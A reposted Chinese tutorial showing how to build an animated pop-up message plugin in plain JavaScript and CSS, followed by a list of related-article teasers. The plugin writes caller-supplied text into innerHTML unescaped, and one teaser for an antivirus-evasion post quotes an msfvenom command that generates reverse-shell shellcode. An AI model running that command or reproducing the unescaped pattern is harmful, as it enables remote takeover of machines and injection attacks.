用原生js写一个弹窗消息提醒插件(转载)

news2024/11/24 9:48:31

https://www.cnblogs.com/mr-zhima/p/10909950.html

喏,就是这么一个效果。

1. 分析
  1. 当消息被触发的时候,会有一个自上而下淡入过程。
  2. 在持续了一段时间后会自动的消失,或者是需要用户来手动的点击关闭按钮
  3. 在消息消失的时候,会有一个自下而上淡出过程。
  4. 消息是可以叠加弹出的,最新的消息会排在消息列表的最后面
  5. 当前面的消息消失后,后面的消息会有一个向上滑动效果。

然后消息本身是有三部分组成

  1. 消息图标,用来区分不同类型的消息。
  2. 消息文本。
  3. 关闭按钮,并不是所有消息都需要关闭按钮。
2. 实现样式

那么,不管我们是用原生js还是vue,首先呢,我们都需要把这个消息的基本样式给写出来,然后再通过js来控制消息的弹出和关闭。
所以,我们先来写html和css。

<!-- message.html -->

<!-- 这个css是我引用阿里的一些字体图标,请戳: https://www.iconfont.cn/ -->
<link rel="stylesheet" href="http://at.alicdn.com/t/font_1117508_wxidm5ry7od.css">
<link rel="stylesheet" href="./message.css">
<script src="./message.js"></script>

<!-- 消息外层容器,因为消息提醒基本上是全局的,所以这里用id,所有的弹出消息都是需要插入到这个容器里边的 -->
<div id="message-container">
    <div class="message">
        <!-- 消息图标 icon icon-success对应我的阿里字体图标的font-class -->
        <div class="type icon icon-success"></div>
        <!-- 消息文本 -->
        <div class="text">这是一条正经的消息~</div>
        <!-- 关闭按钮 -->
        <div class="close icon icon-close"></div>
    </div>
    <div class="message">
        <div class="type icon icon-error"></div>
        <div class="text">这是一条正经的消息~</div>
    </div>
</div>
/* message.css */

#message-container {
    position: fixed;
    left: 0;
    top: 0;
    right: 0;

    /* 采用flex弹性布局,让容器内部的所有消息可以水平居中,还能任意的调整宽度 */
    display: flex;
    flex-direction: column;
    align-items: center;
}
#message-container .message {
    background: #fff;
    margin: 10px 0;
    padding: 0 10px;
    height: 40px;
    box-shadow: 0 0 10px 0 #eee;
    font-size: 14px;
    border-radius: 3px;

    /* 让消息内部的三个元素(图标、文本、关闭按钮)可以垂直水平居中 */
    display: flex;
    align-items: center;
}
#message-container .message .text {
    color: #333;
    padding: 0 20px 0 5px;
}
#message-container .message .close {
    cursor: pointer;
    color: #999;
}

/* 给每个图标都加上不同的颜色,用来区分不同类型的消息 */
#message-container .message .icon-info {
    color: #0482f8;
}
#message-container .message .icon-error {
    color: #f83504;
}
#message-container .message .icon-success {
    color: #06a35a;
}
#message-container .message .icon-warning {
    color: #ceca07;
}
#message-container .message .icon-loading {
    color: #0482f8;
}

大概是这么一个效果

初始效果

3. 实现动画

接下来要做的就是这个消息的弹出消失动画,我们还是用css来实现。

想要在css里边实现自定义的动画,首先需要用@keyframes来定义一个动画规则,然后再通过animation属性把动画应用到某个元素上就可以了。
所谓的动画规则其实就是一个动画序列,或者可以理解为一个个的关键帧,而关键帧的内部就是你想改变的css属性,你可以在关键帧里边写上几乎任何的css属性,当动画被应用的时候,这些css属性就会根据各个关键帧做出相应的变换。

那我们先用@keyframes来写一个动画规则吧

/* message.css */

/* 这个动画规则我们就叫做message-move-in吧,随后我们会用animation属性在某个元素上应用这个动画规则。 */
@keyframes message-move-in {
    0% {
        /* 前边分析过了,弹出动画是一个自上而下的淡入过程 */
        /* 所以在动画初始状态要把元素的不透明度设置为0,在动画结束的时候再把不透明度设置1,这样就会实现一个淡入动画 */
        opacity: 0;
        /* 那么“自上而下”这个动画可以用“transform”变换属性结合他的“translateY”上下平移函数来完成 */
        /* translateY(-100%)表示动画初始状态,元素在实际位置上面“自身一个高度”的位置。 */
        transform: translateY(-100%);
    }
    100% {
        opacity: 1;
        /* 平移到自身位置 */
        transform: translateY(0);
    }
}

然后我们再定义一个和message元素同级的类move-in,把message-move-in这个动画规则给应用到move-in类上,这样我们需要让哪个消息弹出,就只需要在消息的类上加一个move-in就行。

/* message.css */

#message-container .message.move-in {
    /* animation属性是用来加载某个动画规则 请参考 https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation */
    animation: message-move-in 0.3s ease-in-out;
}

我们来看下怎么用这个move-in

应用动画

可以看到,只需要在某个message上追加一个move-in就能实现弹出动画。
那么,消失动画也是一个套路,只不过跟弹出动画反过来而已。

/* message.css */

@keyframes message-move-out {
    0% {
        opacity: 1;
        transform: translateY(0);
    }
    100% {
        opacity: 0;
        transform: translateY(-100%);
    }
}

#message-container .message.move-out {
    animation: message-move-out 0.3s ease-in-out;
    /* 让动画结束后保持结束状态 */
    animation-fill-mode: forwards;
}

animation-fill-mode: forwards;这个是干嘛的呢?因为动画结束后默认会回到元素的最初状态,在这里表现的是消失后又出现了,如图:
 

动画结束后的默认状态

所以animation-fill-mode: forwards;是为了让动画结束后保持这个结束状态,也就是不在显示了。

动画结束后保持结束状态

4. 编写js插件

那么,在写js之前呢,我们先来思考一下,如果你是插件的使用者,你想怎么来调用这个插件?
我们的插件很简单,就是在需要的时候弹出一个消息,假设插件他提供给我们的是一个类,就叫做Message吧,并且他内部有一个show方法,那么只要使用者实例化这个类后,调用他的show方法,然后传入不同的参数就可以弹出一个消息了。而且我们所实例化的对象可以是全局唯一的。

<!-- message.html -->
<!-- 省略... -->

<script>
// message可以定义为全局对象,项目中可以直接调用。
const message = new Message();
message.show({
    type: 'success',
    text: '点个关注不迷路~'
});
</script>

所以呢,我们要先写一个Message类,并且必须要实现一个show方法。

/* message.js */

class Message {
    constructor() {

    }

    show({ type = 'info', text = '' }) {

    }
}

这里我直接用了es6的class关键词,其实他的内部还是原型链的形式。用class呢,可以让我们更直观的了解这个类。

根据我们在第一部分的分析,所有的消息元素都是需要在js中创建的,所以我们不需要使用者来写任何html代码,那么我们只需要在对象被实例化new Message()的时候,就去创建消息容器message-container,后续在调用show方法时候,直接把消息插入到message-container内部即可。

/* message.js */

class Message {

    /**
     * 构造函数会在实例化的时候自动执行
     */
    constructor() {
        const containerId = 'message-container';
        // 检测下html中是否已经有这个message-container元素
        this.containerEl = document.getElementById(containerId);

        if (!this.containerEl) {
            // 创建一个Element对象,也就是创建一个id为message-container的dom节点
            this.containerEl = document.createElement('div');
            this.containerEl.id = containerId;
            // 把message-container元素放在html的body末尾
            document.body.appendChild(this.containerEl);
        }
    }

    show({ type = 'info', text = '' }) {

    }
}

这样,我们调用const message = new Message()的时候会在dom中自动的插入一个message-container节点。
那么,最重要的还是我们的show方法:

  1. 创建一个消息节点,并把它追加到message-container容器的末尾。
  2. 设定一个时间,在这个时间结束后自动的将消息移除。
  3. 监听“关闭按钮”的click事件,来让用户可以手动的移除消息。

我们一步一步来。

4.1 创建一个消息节点,并把它追加到message-container容器的末尾。
class Message {

    // 省略...

    show({ type = 'info', text = '' }) {
        // 创建一个Element对象
        let messageEl = document.createElement('div');
        // 设置消息class,这里加上move-in可以直接看到弹出效果
        messageEl.className = 'message move-in';
        // 消息内部html字符串
        messageEl.innerHTML = `
            <span class="icon icon-${type}"></span>
            <div class="text">${text}</div>
            <div class="close icon icon-close"></div>
        `;
        // 追加到message-container末尾
        // this.containerEl属性是我们在构造函数中创建的message-container容器
        this.containerEl.appendChild(messageEl);
    }

我们来调用下试试~

<!-- message.html -->
<!-- 省略... -->


    <button class="btn">弹窗消息提醒</button>

    <script>
        // message可以定义为全局对象,项目中可以直接调用。
        const message = new Message();
        document.querySelector('.btn').addEventListener('click', () => {
            message.show({
                type: 'success',
                text: '点个关注不迷路~'
            });
        });
        
    </script>

弹出成功

4.2 设定一个时间,在这个时间结束后自动的将消息移除。
// message.js

class Message {

    // 省略...

    show({ type = 'info', text = '', duration = 2000 }) {
        // 省略...

        // 用setTimeout来做一个定时器
        setTimeout(() => {
            // Element对象内部有一个remove方法,调用之后可以将该元素从dom树种移除!
            messageEl.remove();
        }, duration);
    }
}

消息被自动移除


可以看到,消息在过了2秒后,自动的从dom树中移除了,不过呢并没有动画,还记得前边我们写了move-out类吗?这个类和message是同级的。现在我们只需要在定时结束后把这个类应用到message元素上就行。

// message.js

class Message {

    // 省略...

    show({ type = 'info', text = '', duration = 2000 }) {
        // 省略...

        // 用setTimeout来做一个定时器
        setTimeout(() => {
            // 首先把move-in这个弹出动画类给移除掉,要不然会有问题,可以自己测试下
            messageEl.className = messageEl.className.replace('move-in', '');
            // 增加一个move-out类
            messageEl.className += 'move-out';

            // 这个地方是监听动画结束事件,在动画结束后把消息从dom树中移除。
            // 如果你是在增加move-out后直接调用messageEl.remove,那么你不会看到任何动画效果
            messageEl.addEventListener('animationend', () => {
                // Element对象内部有一个remove方法,调用之后可以将该元素从dom树种移除!
                messageEl.remove();
            });
        }, duration);
    }
}

注意观察dom树的变化:

消失动画

4.3 监听“关闭按钮”的click事件,来让用户可以手动的移除消息。

有时候呢,我们希望消息能够一直展示,直到用户来手动的关闭掉,那么首先我们要加一个参数,用来控制是否展示这个关闭按钮。

// message.js

class Message {

    // 省略...

    show({ type = 'info', text = '', duration = 2000, closeable = false }) {
        // 创建一个Element对象
        let messageEl = document.createElement('div');
        // 设置消息class,这里加上move-in可以直接看到弹出效果
        messageEl.className = 'message move-in';
        // 消息内部html字符串
        messageEl.innerHTML = `
            <span class="icon icon-${type}"></span>
            <div class="text">${text}</div>
        `;

        // 是否展示关闭按钮
        if (closeable) {
            // 创建一个关闭按钮
            let closeEl = document.createElement('div');
            closeEl.className = 'close icon icon-close';
            // 把关闭按钮追加到message元素末尾
            messageEl.appendChild(closeEl);

            // 监听关闭按钮的click事件,触发后将调用我们的close方法
            // 我们把刚才写的移除消息封装为一个close方法
            closeEl.addEventListener('click', () => {
                this.close(messageEl)
            });
        }

        // 追加到message-container末尾
        // this.containerEl属性是我们在构造函数中创建的message-container容器
        this.containerEl.appendChild(messageEl);

        // 只有当duration大于0的时候才设置定时器,这样我们的消息就会一直显示
        if (duration > 0) {
            // 用setTimeout来做一个定时器
            setTimeout(() => {
                this.close(messageEl);
            }, duration);
        }   
    }

    /**
     * 关闭某个消息
     * 由于定时器里边要移除消息,然后用户手动关闭事件也要移除消息,所以我们直接把移除消息提取出来封装成一个方法
     * @param {Element} messageEl 
     */
    close(messageEl) {
        // 首先把move-in这个弹出动画类给移除掉,要不然会有问题,可以自己测试下
        messageEl.className = messageEl.className.replace('move-in', '');
        // 增加一个move-out类
        messageEl.className += 'move-out';

        // 这个地方是监听动画结束事件,在动画结束后把消息从dom树中移除。
        // 如果你是在增加move-out后直接调用messageEl.remove,那么你不会看到任何动画效果
        messageEl.addEventListener('animationend', () => {
            // Element对象内部有一个remove方法,调用之后可以将该元素从dom树种移除!
            messageEl.remove();
        });
    }
}

我们来调用下试试~

<!-- message.html -->
<!-- 省略... -->


    <button class="btn">弹窗消息提醒</button>

    <script>
        // message可以定义为全局对象,项目中可以直接调用。
        const message = new Message();
        document.querySelector('.btn').addEventListener('click', () => {
            message.show({
                type: 'warning',
                text: '点我旁边的叉叉试试',
                duration: 0,    // 不会自动消失
                closeable: true, // 可手动关闭
            });
        });
        
    </script>

可手动关闭的消息

其实已经写的差不多了,不过还是有一些小问题,比如当我们弹出两个甚至更多消息的时候,如果前边的消息消失后,下面的消息会直接跳到上面的位置,很僵硬,没有任何的滑动,如图:

很僵硬有木有

我们可以通过css的transition属性来让meesage的高度逐渐变小,这样下面的元素就会根据变化来逐渐上移。

/* message.css */
/* 省略... */

#message-container .message {
    background: #fff;
    margin: 10px 0;
    padding: 0 10px;
    height: 40px;
    box-shadow: 0 0 10px 0 #ccc;
    font-size: 14px;
    border-radius: 3px;

    /* 让消息内部的三个元素(图标、文本、关闭按钮)可以垂直水平居中 */
    display: flex;
    align-items: center;
    
    /* 增加一个过渡属性,当message元素的高度和margin变化时候将会有一个过渡动画 */
    transition: height 0.2s ease-in-out, margin 0.2s ease-in-out;
}

/* 省略... */

然后我们只需要在Message类的close方法中做一下改变:

    close(messageEl) {
        // 首先把move-in这个弹出动画类给移除掉,要不然会有问题,可以自己测试下
        messageEl.className = messageEl.className.replace('move-in', '');
        // 增加一个move-out类
        messageEl.className += 'move-out';

        // move-out动画结束后把元素的高度和边距都设置为0
        // 由于我们在css中设置了transition属性,所以会有一个过渡动画
        messageEl.addEventListener('animationend', () => {
            messageEl.setAttribute('style', 'height: 0; margin: 0');
        });

        // 这个地方是监听transition的过渡动画结束事件,在动画结束后把消息从dom树中移除。
        messageEl.addEventListener('transitionend', () => {
            // Element对象内部有一个remove方法,调用之后可以将该元素从dom树种移除!
            messageEl.remove();
        });
    }

看效果:

很平滑有木有

结尾

好了,基本上已经写好了,不过为了各个浏览器的兼容性,建议大家用babel转码,如果想发布,可以用webpack把js和css一块打包。
不过我们还是少考虑了一个场景,现在的关闭消息都是对象内部调用close方法来实现,如果我们希望外部能够控制消息的关闭呢,比如我请求服务器时候弹出一个loading的消息,现在服务器返回数据后,我怎么来关闭这个消息呢。
很简单,各位自行实现吧!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043873.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ChatGPT 现在可以看、听和说话了!

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

javaee之黑马乐优商城6

商品品牌的查询 上面就是我们需要根据分类id去找品牌 假设我们现在拿到的是 商品的分类id&#xff0c;我们需要根据分类id查询出对应的品牌即可 下面我们拿到上面的接口&#xff0c;直接撸代码 这个是和品牌相关联的操作&#xff0c;因为先去看一下BrandMapper,这个mapper是…

协议-SSL协议-基础概念01-SSL位置-协议套件-握手和加密过程-对比ipsec

SSL的位置-思维导图 参考来源&#xff1a; 华为培训ppt:HCSCE122_SSL VPN技术 ##SSL的位置 SSL协议套件 ​​​​握手阶段&#xff0c;完成验证&#xff0c;协商出密码套件&#xff0c;进而生成对称密钥&#xff0c;用于后续的加密通信。 加密通信阶段&#xff0c;数据由对…

深入理解红黑树

小白慎入&#xff01;本文难度比较高&#xff0c;需要对红黑树有一定的了解再来看&#xff01; 红黑树 红黑树是一种高级数据结构&#xff0c;是平衡树大家族中的一员&#xff0c;并且听名字就知道这个玩意不是凡物&#xff0c;可能你从未听过&#xff0c;但是你一定会为这样的…

微前端无界 项目使用记录

1预期目标和场景 一个vue框架开发的应用&#xff0c;需要使用另一个系统的页面。 通俗来说&#xff0c;就是在一个web应用中独立的运行另一个web应用 2 技术支持 微前端处理方案&#xff1a;无界 无界官网&#xff1a; https://wujie-micro.github.io/doc/guide/ CSDN 参考…

金蝶云星空和聚水潭单据接口对接

金蝶云星空和聚水潭单据接口对接 对接源平台:聚水潭 聚水潭成立于2014年&#xff0c;创始人兼CEO骆海东拥有近三十年传统及电商ERP的研发和实施部署经验。聚水潭创建之初&#xff0c;以电商SaaSERP切入市场&#xff0c;凭借出色的产品和服务&#xff0c;快速获得市场的肯定。随…

如何给Nginx配置访问IP白名单

一、Nginx配置访问IP白名单 有时部署的应用需要只允许某些特定的IP能够访问&#xff0c;其他IP不允许访问&#xff0c;这时&#xff0c;就要设置访问白名单&#xff1b; 设置访问白名单有多种方式&#xff1a; 1.通过网络防火墙配置&#xff0c;例如阿里云/华为云管理平台 2.…

计算机竞赛 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习人脸表情识别系…

数独C++代码实现

数独是源自18世纪瑞士的一种数学游戏。中文中“数独”一次&#xff0c;实际上是源自于日语对于数独的音译。是一种运用纸、笔进行演算的逻辑游戏。玩家需要根据99盘面上的已知数字&#xff0c;推理出所有剩余空格的数字&#xff0c;并满足每一行、每一列、每一个粗线宫&#xf…

LeetCode 75.颜色分类

题目链接 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目解析 题意很清楚&#xff0c;让0,1,2按照顺序排好&#xff0c;但是不能使用sort库函数。 将数组分为四部分&#xff0c;分别是&#xff1a; // [0,left] 0 // [left,i] 1 // [i,right] 未…

华为数通方向HCIP-DataCom H12-831题库(单选题:161-180)

第161题 某台路由器Router LSA如图所示,下列说法中错误的是? A、本路由器已建立邻接关系 B、本路由器为DR C、本路由支持外部路由引入 D、本路由器的Router ID为10.0.12.1 答案: B 解析: 一类LSA的在transnet网络中link id值为DR的route id ,但Link id的地址不是10.0.12.…

Unity之NetCode多人网络游戏联机对战教程(4)--连接申请ConnectionApproval

文章目录 前言适用场景1. 准备2.新建GameManager3.编译运行4.脚本详解后话 前言 没看过前面的教程请先阅读前面的教程&#xff0c;本期将会讲到Netcode联机的申请&#xff0c;当一个Client想连接进来&#xff0c;应向Server发送申请联机的信息&#xff0c;然后由服务端向客户端…

EasyExcel的源码流程(导入Excel)

1. 入口 2. EasyExcel类继承了EasyExcelFactory类&#xff0c;EasyExcel自动拥有EasyExcelFactory父类的所有方法&#xff0c;如read()&#xff0c;readSheet()&#xff0c;write()&#xff0c;writerSheet()等等。 3. 进入.read()方法&#xff0c;需要传入三个参数(文件路径…

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线 一、生成&#xff1a; 1.msf生成C#语言的shellcode 命令&#xff1a;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.206.192 LPORT4444 -e x86/shikata_ga_nai -i 15 -f csharp 二、上线&#xff1a; 1.c#语言shellcode加载代…

如何通过PreMaint设备管理提高制药行业的质量控制和合规性

在制药行业&#xff0c;确保产品的质量和合规性是至关重要的。制药企业必须严格遵守各种法规&#xff0c;以满足患者的需求并确保他们的产品安全有效。为了达到这些目标&#xff0c;制药企业越来越倾向于采用现代化的设备管理系统&#xff0c;如PreMaint。本文将探讨如何通过Pr…

ElementUI之动态树及书籍的分页查询

目录 一.前言 二.Element之动态树 2.1 后台 2.2 前台 三. 动态表格--书籍的分页查询 一.前言 本文章是继上篇的案例之上教大家如何使用ElementUI去实现动态树和书籍的分页查询&#xff0c;如果有不懂的大家可以翻看上篇的博客查看&#xff0c;其中的样式是ElementUI的官网提…

任正非:天空足够大,世界会越来越兴盛

近日&#xff0c;华为公司创始人任正非与南开大学新闻与传播学院院长、科技日报原总编辑刘亚东今年7月7日在深圳一间咖啡厅的对话最新曝光。 在对话过程中&#xff0c;任正非以“拉法尔喷管”来描述华为的研发体系: “喇叭口”吸收宇宙能量&#xff0c;经过理论研究&#xff0…

JetBrains常用插件

Codota AI Autocomplete Java and JavaScript&#xff1a;自动补全插件 Background Image plus&#xff1a;背景图片设置 rainbow brackets&#xff1a;彩虹括号&#xff0c;便于识别 CodeGlance2&#xff1a; 类似于 Sublime 中的代码缩略图&#xff08;代码小地图&#xff…

中睿天下荣获2023全国智能驾驶测试赛车联网安全比赛第一名

9月24日&#xff0c;由工业和信息化部、公安部、交通运输部、中国科学技术协会、北京市人民政府共同主办的2023世界智能网联汽车大会展览会在北京闭幕。同期举行的全国智能驾驶测试赛&#xff08;京津冀赛区&#xff09;宣布比赛结果&#xff0c;中睿天下凭借过硬的产品实力&am…

Elasticsearch实现全文搜索的步骤和实现原理

Elasticsearch实现全文搜索的步骤和实现原理 ElasticSearch是什么springboot项目,如何接入 ElasticSearch实现全文搜索?Elasticsearch实现全文搜索的原理是什么?ElasticSearch是什么 ElasticSearch(简称为ES)是一个基于开源的分布式搜索和分析引擎,它提供了强大的全文搜…